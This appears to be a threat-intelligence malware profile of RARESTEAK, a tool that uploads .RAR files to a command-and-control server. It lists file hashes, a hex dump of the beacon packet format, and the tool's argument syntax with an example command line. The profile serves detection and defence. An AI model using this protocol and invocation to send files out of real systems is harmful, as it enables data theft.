RARESTEAK Malware Profile

Operational (OP) | Fusion (FS)

Cyber Espionage (CE)

April 04, 2017 03:18:00 PM, 17-00003362, Version: 1 Risk Rating: MEDIUM

Executive Summary

- RARESTEAK is an uploader capable of sending .RAR files in the current directory to a command and control (C&C) address and port specified via the command line.
- RARESTEAK accepts and expects six arguments.

Analysis

Contents

File Characteristics

File Name	MD5 Hash	Size (bytes)	Compile Time
fsrar.exe	EDB12538630E040FD3F0BE2E1118253F	90112	2016-09-24 16:48:41 UTC

Table 1: File characteristics

Host-Based Signatures

File System Artifacts

Checksum

- Actual: 0x00022F8E
- Header: 0x00000000

Network-Based Signatures

Beacon Packet

A specific sequence of bytes is sent when uploading a file to the C&C server:

1. 1 byte: ASCII character "F"
2. 128 bytes: NULL-terminated string that represents .rar file name being uploaded
3. 50 bytes: NULL-terminated string that represents the .rar file size
4. RAR content sent in 1024 byte chunks

The following is an example beacon packet.

-

```
00000000  46                                                F
00000001  6d 79 66 69 6c 65 6e 61  6d 65 30 30 30 32 2e 72  myfilena me0002.r
00000011  61 72 00 77 e0 5a 7b 77  e4 58 7a 77 2d 74 93 75  ar.w.Z{w .Xzw-t.u
00000021  ff ff ff ff fe ff ff ff  ff ff ff ff 50 43 20 00  ........ ....PC .
00000031  00 00 00 00 00 00 00 00  02 00 00 00 40 e5 12 00  ........ ....@...
00000041  84 d9 09 76 ff ff ff ff  fe ff ff ff ff ff ff ff  ...v.... ........
00000051  50 43 20 00 00 00 00 00  00 00 00 00 02 00 00 00  PC ..... ........
00000061  6c e5 12 00 e9 36 d9 75  ff ff ff ff fe ff ff ff  l....6.u ........
00000071  ff ff ff 32 50 43 20 00  00 00 00 00 0a 00 00 00  ...2PC . ........
00000081  33 33 32 30 00 36 d9 75  00 00 00 00 07 00 00 00  3320.6.u ........
00000091  93 36 d9 75 00 00 00 00  00 00 00 00 00 00 00 00  .6.u.... ........
000000A1  00 00 00 00 48 43 20 00  01 00 00 00 ff ff ff ff  ....HC . ........
000000B1  01 00 72 61 72 32 0d 0a  0d 0a 4c 6f 72 65 6d 20  ..rar2.. ..Lorem
```

Figure 1: Sample RARESTEAK C&C communications

RARESTEAK Analysis

The RARESTEAK binary expects six arguments in the following format:

- *<c&c_address><c&c_port><rar_filename_prefix><filename_digit_count> <start_number> <file_total>*

The *<c&c_address>* field may be a domain or IP address. As an example, consider the following command line arguments:

- 192.168.234.129 2222 myfilename 4 1 3

RARESTEAK pads the *<rar_filename_prefix>* with three zeros and appends *<start_number>*.rar to complete the file name. In this case, the result is the file name "myfilename0001.rar."

When looking for .rar files, the binary increments the *<start_number>* by one until *<file_total>* is reached. This results in the malware attempting to read and transfer the following files to the C&C server using a TCP socket:

- myfilename0001.rar
- myfilename0002.rar
- myfilename0003.rar

The *<filename_digit_count>* can be no more than five, which means no more than five digits will follow the *<rar_filename_prefix>*.

First Version Publish Date

April 04, 2017 03:18:00 PM

Tags	MEDIUM

Threat Intelligence Tags

Affected System

- Users/Application and Software

Malware Family

- RARESTEAK

Technical Indicators & Warnings

SHA1:	7e14ff9effa985ed52db557ac0507c1e667def1f
File Name:	fsrar.exe
Identifier:	Attacker
File Size:	90112
SHA256:	410cc7346b0065701fbca3fdfb93e84a2215647fc3b76f9b8204d2b864d3e4a7
MD5:	edb12538630e040fd3f0be2e1118253f
Malware Family:	RARESTEAK

FireEye 5950 Berkshire Lane, Suite 1600 Dallas, TX 75225

For more information please visit: https://intelligence.fireeye.com/reports/17-00003362